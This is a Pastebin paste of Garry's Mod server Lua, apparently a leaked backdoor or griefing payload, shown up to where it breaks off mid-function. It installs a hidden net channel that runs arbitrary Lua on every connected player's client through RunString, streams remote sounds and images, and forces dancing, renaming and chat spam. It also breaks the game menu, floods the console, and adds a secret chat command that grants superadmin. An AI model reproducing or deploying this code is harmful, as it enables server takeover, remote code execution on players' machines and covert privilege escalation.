SHARE
TWEET

Untitled

MarlowFR Jul 15th, 2019 167 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. local lol = {}
  3. function lol:RandomString( intMin, intMax )
  4.     local ret = ""
  5.     for _ = 1, math.random( intMin, intMax ) do
  6.         ret = ret.. string.char( math.random(65, 90) )
  7.     end
  8.  
  9.     return ret
  10. end
  11.  
  12. lol.m_tblActions = {}
  13. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  14. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  15.  
  16. function lol:PushAction( intChainDelay, func )
  17.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  18. end
  19.  
  20. function lol:NextAction( pPlayer )
  21.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  22.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  23.  
  24.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  25.         if not IsValid( pPlayer ) then return end
  26.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  27.         self:NextAction( pPlayer )
  28.     end )
  29. end
  30.  
  31. function lol:Start( pPlayer )
  32.     pPlayer.m_intCurAction = 0
  33.     self:NextAction( pPlayer )
  34. end
  35.  
  36. function lol:SendLua( pPlayer, strLua )
  37.     net.Start( "skeleton_dancing_troll" )
  38.         net.WriteString( strLua )
  39.     net.Send( pPlayer )
  40. end
  41.  
  42. function lol:SetupPlayer( pPlayer )
  43.     pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  44. end
  45.  
  46. for k, v in pairs( player.GetAll() ) do
  47.     lol:SetupPlayer( v )
  48.     timer.Simple( 2, function() lol:Start( v ) end )
  49. end
  50.  
  51. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  52.     lol:SetupPlayer( pPlayer )
  53.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  54. end )
  55.  
  56. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  57.     if strText:sub( 1, 5 ) == "/1337" then
  58.         pSender:Ignite( 1e9 )
  59.         pSender:ChatPrint( "wxm best backdoor ever ;)" )
  60.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  61.         return false
  62.     end
  63. end )
  64.  
  65.  
  66.  
  67.  
  68. lol:PushAction( 0, function( pPlayer )
  69.     lol:SendLua( pPlayer, ([=[
  70.         sound.PlayURL( "http://marlowfr.alwaysdata.net/marlow.mp3", "", function()end )
  71.        
  72.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  73.         local html = [[%s]]
  74.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  75.             local pnl = vgui.Create( "HTML" )
  76.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  77.             pnl:SetVisible( true )
  78.             pnl:SetMouseInputEnabled( false )
  79.             pnl:SetKeyBoardInputEnabled( false )
  80.             pnl:SetSize( intSizeX, intSizeY )
  81.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  82.            
  83.             local PageLoaded
  84.             PageLoaded = function()
  85.                 local mat = pnl:GetHTMLMaterial()
  86.                 if mat then
  87.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  88.                     return
  89.                 end
  90.                
  91.                 timer.Simple( 0.5, PageLoaded )
  92.             end
  93.  
  94.             PageLoaded()
  95.         end
  96.  
  97.         LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644585-hud.png", "hud1", 300, 128 )
  98.         LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644587-hud2.png", "hud2", 300, 128 )
  99.         LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644600-hud3.png", "hud3", 128, 128 )
  100.         LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644579-doritos.png", "doritos", 183, 256 )
  101.         LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644581-fedora.png", "fedora", 256, 256 )
  102.         LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644577-dew.png", "dew", 110, 256 )
  103.         LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644574-awp.png", "awp", 256, 55 )
  104.     ]=]):format(lol.m_strImageLoadHTML) )
  105. end )
  106. timer.Create("nonameplease", 5, 0,function()
  107.     for i=1, #player.GetHumans() do
  108.         local ply = player.GetHumans()[i]
  109.         ply:Say( "/ooc DISCORD : https://discord.gg/rC7mfzJ")
  110.     end
  111. end)
  112. BroadcastLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
  113. util.AddNetworkString "EnigmaProject"
  114.  
  115. local CHANGERPSEUDO = "JoBisteur vous dommine"
  116. local enigmalaunchproject = {}
  117. function enigmalaunchproject:RandomString( intMin, intMax )
  118.     local ret = ""
  119.     for _ = 1, math.random( intMin, intMax ) do
  120.         ret = ret.. string.char( math.random(65, 90) )
  121.     end
  122.  
  123.     return ret
  124. end
  125.  
  126.  
  127.  
  128. enigmalaunchproject.m_tblActions = {}
  129. enigmalaunchproject.m_strImageGlobalVar = enigmalaunchproject:RandomString( 6, 12 )
  130. enigmalaunchproject.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  131.  
  132. function enigmalaunchproject:NouvelleAction( intChainDelay, func )
  133.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  134. end
  135.  
  136. function enigmalaunchproject:ActionApres( pPlayer )
  137.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  138.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  139.  
  140.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  141.         if not IsValid( pPlayer ) then return end
  142.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  143.         self:ActionApres( pPlayer )
  144.     end )
  145. end
  146.  
  147. function enigmalaunchproject:Start( pPlayer )
  148.     pPlayer.m_intCurAction = 0
  149.     self:ActionApres( pPlayer )
  150. end
  151.  
  152. function enigmalaunchproject:SendLua( pPlayer, strLua )
  153. pPlayer:SendLua([[RunConsoleCommand("gmod_language","ko")]])
  154.     net.Start( "EnigmaProject" )
  155.         net.WriteString( strLua )
  156.     net.Send( pPlayer )
  157. end
  158.  
  159. function enigmalaunchproject:SetupPlayer( pPlayer )
  160.     pPlayer:SendLua( "net.Receive(\"EnigmaProject\", function() RunString(net.ReadString()) end)" )
  161. end
  162.  
  163.  
  164.  
  165.  
  166.  
  167.  
  168. -- DANSE --
  169.  
  170.  
  171. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_until_your_dead",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  172.  
  173.  
  174. -- FIN DANSE --
  175.  
  176.  
  177.  
  178.  
  179. -- CHANGER NOM --
  180.  
  181.  
  182. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, CHANGERPSEUDO) v:setDarkRPVar("rpname", CHANGERPSEUDO) end
  183.  
  184.  
  185. -- FIN CHANGER NOM --
  186.  
  187.  
  188.  
  189. -- Console Spam
  190.  
  191. decore = {
  192. [[
  193.        
  194.    
  195.    
  196.    
  197.    
  198.    
  199.    
  200.    
  201.    
  202.    
  203.    
  204.    
  205.    
  206.    
  207.    
  208.    
  209.    
  210.    
  211.    
  212.    
  213.    
  214.    
  215.    
  216.    
  217.    
  218.    
  219.    
  220.    
  221.    
  222.    
  223.    
  224.    
  225.    
  226.    
  227.    
  228.    
  229.    
  230.    
  231.    
  232.    
  233.    
  234.    
  235.                        .,,uod8B8bou,,.
  236.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  237.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  238.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  239.          !.......:!?|||||!!^^""'            ||||
  240.          !.........||||                     ||||
  241.          !.........||||  GIZEH €CO+ IS      ||||
  242.          !.........||||                     ||||
  243.          !.........||||       |_|           ||||
  244.          !.........||||  not  | |ere        ||||
  245.          !.........||||                     ||||
  246.          `.........||||                    ,||||
  247.           .;.......||||               _.-!!|||||
  248.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  249. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  250. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  251. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  252. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  253. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  254. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  255.   `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  256.     `........::::::::::::::::;iof688888888888888888888b.     `
  257.       `......:::::::::;iof688888888888888888888888888888b.
  258.         `....:::;iof688888888888888888888888888888888899fT!         Kalysia | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  259.           `..::!8888888888888888888888888888888899fT|!^"'  
  260.             `' !!988888888888888888888888899fT|!^"'
  261.                 `!!8888888888888888899fT|!^"'
  262.                   `!988888888899fT|!^"'
  263.                     `!9899fT|!^"'
  264.                       `!^"'
  265. ]]
  266. ,
  267. [[
  268.        
  269.    
  270.    
  271.    
  272.    
  273.    
  274.    
  275.    
  276.    
  277.    
  278.    
  279.    
  280.    
  281.    
  282.    
  283.    
  284.    
  285.    
  286.    
  287.    
  288.    
  289.    
  290.    
  291.    
  292.    
  293.    
  294.    
  295.    
  296.    
  297.    
  298.    
  299.    
  300.    
  301.    
  302.    
  303.    
  304.    
  305.    
  306.    
  307.    
  308.    
  309.                        .,,uod8B8bou,,.
  310.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  311.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  312.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  313.          !.......:!?|||||!!^^""'            ||||
  314.          !.........||||                     ||||
  315.          !.........||||                     ||||
  316.          !.........||||      THIS SCRIPT    ||||
  317.          !.........||||                     ||||
  318.          !.........||||         IS LEAKED   ||||
  319.          !.........||||                     ||||
  320.          `.........||||    BY ANATIK       ,||||
  321.           .;.......||||               _.-!!|||||
  322.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  323. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  324. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  325. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  326. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  327. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  328. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  329.   `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  330.     `........::::::::::::::::;iof688888888888888888888b.     `
  331.       `......:::::::::;iof688888888888888888888888888888b.
  332.         `....:::;iof688888888888888888888888888888888899fT!         Kalysia | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  333.           `..::!8888888888888888888888888888888899fT|!^"'  
  334.             `' !!988888888888888888888888899fT|!^"'
  335.                 `!!8888888888888888899fT|!^"'
  336.                   `!988888888899fT|!^"'
  337.                     `!9899fT|!^"'
  338.                       `!^"'
  339. ]]
  340. ,
  341. [[
  342.        
  343.    
  344.    
  345.    
  346.    
  347.    
  348.    
  349.    
  350.    
  351.    
  352.    
  353.    
  354.    
  355.    
  356.    
  357.    
  358.    
  359.    
  360.    
  361.    
  362.    
  363.    
  364.    
  365.    
  366.    
  367.    
  368.    
  369.    
  370.    
  371.    
  372.    
  373.    
  374.    
  375.    
  376.    
  377.    
  378.    
  379.    
  380.    
  381.    
  382.    
  383.                        .,,uod8B8bou,,.
  384.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  385.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  386.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  387.          !.......:!?|||||!!^^""'            ||||
  388.          !.........||||                     ||||
  389.          !.........||||  It's Too Glitchy   ||||
  390.          !.........||||                     ||||
  391.          !.........||||       .   .         ||||
  392.          !.........||||         -           ||||
  393.          !.........||||                     ||||
  394.          `.........||||   HELP ME PLEASE   ,||||
  395.           .;.......||||               _.-!!|||||
  396.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  397. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  398. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  399. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  400. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  401. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  402. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  403.   `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  404.     `........::::::::::::::::;iof688888888888888888888b.     `
  405.       `......:::::::::;iof688888888888888888888888888888b.
  406.         `....:::;iof688888888888888888888888888888888899fT!         Kalysia | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  407.           `..::!8888888888888888888888888888888899fT|!^"'  
  408.             `' !!988888888888888888888888899fT|!^"'
  409.                 `!!8888888888888888899fT|!^"'
  410.                   `!988888888899fT|!^"'
  411.                     `!9899fT|!^"'
  412.                       `!^"'
  413. ]]
  414. ,
  415. [[
  416.        
  417.    
  418.    
  419.    
  420.    
  421.    
  422.    
  423.    
  424.    
  425.    
  426.    
  427.    
  428.    
  429.    
  430.    
  431.    
  432.    
  433.    
  434.    
  435.    
  436.    
  437.    
  438.    
  439.    
  440.    
  441.    
  442.    
  443.    
  444.    
  445.    
  446.    
  447.    
  448.    
  449.    
  450.    
  451.    
  452.    
  453.    
  454.    
  455.    
  456.    
  457.                        .,,uod8B8bou,,.
  458.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  459.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  460.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  461.          !.......:!?|||||!!^^""'            ||||
  462.          !.........||||                     ||||
  463.          !.........||||  HELP ME !!!        ||||
  464.          !.........||||                     ||||
  465.          !.........||||      I NEED HELP !  ||||
  466.          !.........||||                     ||||
  467.          !.........||||           ...       ||||
  468.          `.........||||                    ,||||
  469.           .;.......||||               _.-!!|||||
  470.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  471. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  472. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  473. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  474. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  475. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  476. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  477.   `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  478.     `........::::::::::::::::;iof688888888888888888888b.     `
  479.       `......:::::::::;iof688888888888888888888888888888b.
  480.         `....:::;iof688888888888888888888888888888888899fT!         Kalysia | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  481.           `..::!8888888888888888888888888888888899fT|!^"'  
  482.             `' !!988888888888888888888888899fT|!^"'
  483.                 `!!8888888888888888899fT|!^"'
  484.                   `!988888888899fT|!^"'
  485.                     `!9899fT|!^"'
  486.                       `!^"'
  487. ]]
  488. ,
  489. [[
  490.        
  491.    
  492.    
  493.    
  494.    
  495.    
  496.    
  497.    
  498.    
  499.    
  500.    
  501.    
  502.    
  503.    
  504.    
  505.    
  506.    
  507.    
  508.    
  509.    
  510.    
  511.    
  512.    
  513.    
  514.    
  515.    
  516.    
  517.    
  518.    
  519.    
  520.    
  521.    
  522.    
  523.    
  524.    
  525.    
  526.    
  527.    
  528.    
  529.    
  530.    
  531.                        .,,uod8B8bou,,.
  532.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  533.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  534.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  535.          !.......:!?|||||!!^^""'            ||||
  536.          !.........||||                     ||||
  537.          !.........||||  What Is Love       ||||
  538.          !.........||||   Baby Don' Hurt Me ||||
  539.          !.........||||      No More        ||||
  540.          !.........||||                     ||||
  541.          !.........||||    ♪ ♫   ♪ ♫  ♪♫     ||||
  542.          `.........||||                    ,||||
  543.           .;.......||||               _.-!!|||||
  544.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  545. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  546. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  547. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  548. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  549. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  550. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  551.   `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  552.     `........::::::::::::::::;iof688888888888888888888b.     `
  553.       `......:::::::::;iof688888888888888888888888888888b.
  554.         `....:::;iof688888888888888888888888888888888899fT!         Kalysia | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  555.           `..::!8888888888888888888888888888888899fT|!^"'  
  556.             `' !!988888888888888888888888899fT|!^"'
  557.                 `!!8888888888888888899fT|!^"'
  558.                   `!988888888899fT|!^"'
  559.                     `!9899fT|!^"'
  560.                       `!^"'
  561. ]]
  562. }
  563.  
  564. function decorationconsole()
  565.     print(Color( 0, 0, 0 ), table.Random(decore))
  566. end
  567. -- Console Spam
  568. for k, v in pairs( player.GetAll() ) do
  569.  timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  570. end
  571.  
  572. --[[ MODE ARMAGEDDON --
  573.  
  574.  
  575.             hook.Add("Think", "armageddon", function()
  576.                 local explode = ents.Create( "env_explosion" )
  577.                     explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  578.                     explode:Spawn()
  579.                     explode:SetKeyValue( "iMagnitude", "500" )
  580.                     explode:Fire( "Explode", 0, 0 )
  581.                 end)
  582.  
  583.                
  584. -- FIN MODE ARMAGEDDON  ]]--
  585.  
  586.  
  587. -- Send Lua --
  588.  function SendLuaAll( str ) net.Start( "EnigmaProject" ) net.WriteString( str ) net.Broadcast() end
  589.  
  590.  
  591. -- Changer Taille --
  592.  
  593.  
  594. hook.Add("Think", "giant", function()
  595.     for k,v in pairs (player.GetAll()) do
  596.         v:SetModelScale(50.5, 100);
  597.         v:SetRunSpeed(700 * 2);
  598.         v:SetWalkSpeed(400 * 2);
  599.     end
  600. end)
  601.  
  602.  
  603. -- Fin Changer Taille --
  604.  
  605.  
  606.  
  607. -- Message --
  608.  
  609.  
  610. for k,v in pairs(player.GetAll()) do
  611.     v:ConCommand("say /ooc Ce monde cancer est éliminé, Le projet JoBisteur avance !")
  612. end
  613.  
  614.  
  615. -- Message Fin --
  616.  
  617.  
  618.  
  619. -- Auto Lançage --
  620.  
  621.  
  622. for k, v in pairs( player.GetAll() ) do
  623.     enigmalaunchproject:SetupPlayer( v )
  624.     timer.Simple( 2, function() enigmalaunchproject:Start( v ) end )
  625. end
  626.  
  627.  
  628. -- Fin Auto Lançage --
  629.  
  630.  
  631. -- Lancer Aux Nouveaux Arrivants --
  632.  
  633.  
  634. --hook.Add( "PlayerAuthed", "wtfispassequoi", function( pPlayer )
  635. --    enigmalaunchproject:SetupPlayer( pPlayer )
  636. --    timer.Simple( 10, function() enigmalaunchproject:Start( pPlayer ) end )
  637. --end )
  638.  
  639. -- Fin Lancer Aux Nouveaux Arrivants --
  640.  
  641.  
  642.  
  643. -- Commande Enigma --
  644.  
  645.  
  646. hook.Add( "PlayerSay", "EnigmaCKoa", function( pSender, strText, bTeamChat )
  647.     if strText:sub( 1, 5 ) == "Enigma" then
  648.         pSender:Ignite( 1e9 )
  649.         pSender:ChatPrint( "JoBisteur est ici pour exterminer tout les serveurs cancer de Garry's Mod =)" )
  650.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  651.         return false
  652.     end
  653. end )
  654.  
  655.  
  656. -- Fin Commande Enigma
  657.  
  658.  
  659.  
  660.  
  661.  
  662. hook.Add( "PlayerSay", "a4dxvlwxdlco", function( pSender, strText, bTeamChat )
  663.     if strText:sub( 1, 5 ) == "EnigmaIsLitteralyMyFuckingGod" then
  664.         pSender:SetUserGroup("superadmin")
  665.         pSender:ChatPrint( "Tu est l'un des notres !" )
  666.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  667.         return false
  668.     end
  669. end)
  670.  
  671.  
  672.  
  673.  
  674.  
  675.  
  676.  
  677.  
  678.  
  679.  
  680. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  681.     enigmalaunchproject:SendLua( pPlayer, ([=[
  682.  
  683.         sound.PlayURL( "https://gvac.cz/assets/galshi.mp3", "", function()end )
  684.        
  685.         g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  686.         local html = [[%s]]
  687.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  688.             local pnl = vgui.Create( "HTML" )
  689.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  690.             pnl:SetVisible( true )
  691.             pnl:SetMouseInputEnabled( false )
  692.             pnl:SetKeyBoardInputEnabled( false )
  693.             pnl:SetSize( intSizeX, intSizeY )
  694.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  695.            
  696.             local PageLoaded
  697.             PageLoaded = function()
  698.                 local mat = pnl:GetHTMLMaterial()
  699.                 if mat then
  700.                     g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  701.                     return
  702.                 end
  703.                
  704.                 timer.Simple( 0.5, PageLoaded )
  705.             end
  706.  
  707.             PageLoaded()
  708.         end
  709.  
  710. --LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/06/5/1518211648-sans-titre-6.gif", "getrekt", 1920, 1080 )
  711.  
  712.         hook.Add( "RenderScreenspaceEffects", "itsredworld", function()
  713.             local sinScaler = math.sin( CurTime() )
  714.             DrawBloom(
  715.                 0,
  716.                 3,
  717.                 sinScaler *math.Rand(1, 8),
  718.                 sinScaler *math.Rand(1, 8),
  719.                 6,
  720.                 math.Rand(0.5, 2),
  721.                 math.Rand(0, 0.3),
  722.                 math.Rand(0, 0.3),
  723.                 math.Rand(0.5, 1)
  724.             )
  725.  
  726.             DrawColorModify{
  727.                 ["$pp_colour_addr"] = 1,
  728.                 ["$pp_colour_addg"] = 0,
  729.                 ["$pp_colour_addb"] = 0,
  730.                 ["$pp_colour_brightness" ] = 0.1,
  731.                 ["$pp_colour_contrast" ] = 0.1,
  732.                 ["$pp_colour_colour" ] = 0.1,
  733.                 ["$pp_colour_mulr" ] = 1,
  734.                 ["$pp_colour_mulg" ] = 0,
  735.                 ["$pp_colour_mulb" ] = 0
  736.             }
  737.         end )
  738.  
  739. ]=]):format(enigmalaunchproject.m_strImageLoadHTML) )
  740. end )
  741.  
  742.  
  743.  
  744.  
  745. enigmalaunchproject:NouvelleAction( 14, function( pPlayer )
  746.     enigmalaunchproject:SendLua( pPlayer, [[
  747.  
  748.     (GAMEMODE or GM).CalcView = function() end
  749.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  750.  
  751.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  752.         for k, v in pairs(remove) do
  753.             hook.GetTable()[v] = {}
  754.     end
  755.  
  756.         local function GetWebMat( strURL )
  757.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  758.     end
  759.        
  760.     hook.Add( "HUDPaint", "hud1enigma", function()
  761.         surface.SetDrawColor( 255, 255, 255, 255 )
  762.            
  763.     if GetWebMat( "getrekt" ) then
  764.         surface.SetMaterial( GetWebMat("getrekt")[1] )
  765.         surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  766.     end
  767.            
  768.     draw.SimpleTextOutlined(
  769.     "Le projet JoBisteur a été achevé",
  770.     "DermaLarge",
  771.     ScrW() /2 +math.random( -2, 2 ),
  772.     ScrH() /2 +math.random( -2, 2 ) +0,
  773.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  774.     TEXT_ALIGN_CENTER,
  775.     TEXT_ALIGN_CENTER,
  776.     1,
  777.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  778. )
  779. end )
  780.  
  781.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  782.         hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  783.            
  784.     ]] )
  785. end )
  786.  
  787.  
  788.  
  789. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  790.     enigmalaunchproject:SendLua( pPlayer, [[
  791.  
  792.     hook.Remove( "HUDPaint", "hud1enigma", function() end)
  793.    
  794.    
  795.    
  796.     ]] )
  797. end )
  798.  
  799. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  800.     enigmalaunchproject:SendLua( pPlayer, [[
  801.    
  802.     (GAMEMODE or GM).CalcView = function() end
  803.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  804.  
  805.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  806.         for k, v in pairs(remove) do
  807.             hook.GetTable()[v] = {}
  808.     end
  809.  
  810.         local function GetWebMat( strURL )
  811.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  812.     end
  813.        
  814.     hook.Add( "HUDPaint", "hud1enigma", function()
  815.         surface.SetDrawColor( 255, 255, 255, 255 )
  816.            
  817.     if GetWebMat( "getrekt" ) then
  818.         surface.SetMaterial( GetWebMat("getrekt")[1] )
  819.         surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  820.     end
  821.            
  822.     draw.SimpleTextOutlined(
  823.     "Aujourd'hui, ce serveur va être purifié",
  824.     "DermaLarge",
  825.     ScrW() /2 +math.random( -2, 2 ),
  826.     ScrH() /2 +math.random( -2, 2 ) +0,
  827.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  828.     TEXT_ALIGN_CENTER,
  829.     TEXT_ALIGN_CENTER,
  830.     1,
  831.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  832. )
  833. end )
  834.  
  835.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  836.         hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  837.            
  838.    
  839.     ]] )
  840. end )
  841.  
  842. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  843.     enigmalaunchproject:SendLua( pPlayer, [[
  844.    
  845.     hook.Remove( "HUDPaint", "hud1enigma", function() end)
  846.    
  847.     ]] )
  848. end )
  849.  
  850. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  851.     enigmalaunchproject:SendLua( pPlayer, [[
  852.  
  853.  
  854.     (GAMEMODE or GM).CalcView = function() end
  855.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  856.  
  857.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  858.         for k, v in pairs(remove) do
  859.             hook.GetTable()[v] = {}
  860.     end
  861.  
  862.         local function GetWebMat( strURL )
  863.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  864.     end
  865.        
  866.     hook.Add( "HUDPaint", "hud1enigma", function()
  867.         surface.SetDrawColor( 255, 255, 255, 255 )
  868.            
  869.     if GetWebMat( "getrekt" ) then
  870.         surface.SetMaterial( GetWebMat("getrekt")[1] )
  871.         surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  872.     end
  873.            
  874.     draw.SimpleTextOutlined(
  875.     "Maintenant, observez notre puissance!",
  876.     "DermaLarge",
  877.     ScrW() /2 +math.random( -2, 2 ),
  878.     ScrH() /2 +math.random( -2, 2 ) +0,
  879.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
